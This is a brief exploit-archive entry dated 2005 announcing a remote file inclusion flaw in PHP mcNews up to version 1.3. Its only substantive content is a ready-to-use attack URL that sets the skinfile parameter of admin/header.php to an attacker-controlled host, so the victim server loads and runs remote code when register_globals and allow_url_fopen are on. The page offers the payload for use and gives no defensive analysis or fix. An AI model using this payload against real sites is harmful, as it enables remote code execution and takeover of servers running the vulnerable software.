PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability
# Published : 2005-03-07
# Author : Filip Groszynski
# Previous Title : phpWebLog <= 0.5.3 Arbitrary File Inclusion
# Next Title : PHP Form Mail 2.3 Arbitrary File Inclusion

Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

# www.Syue.com [2005-03-07]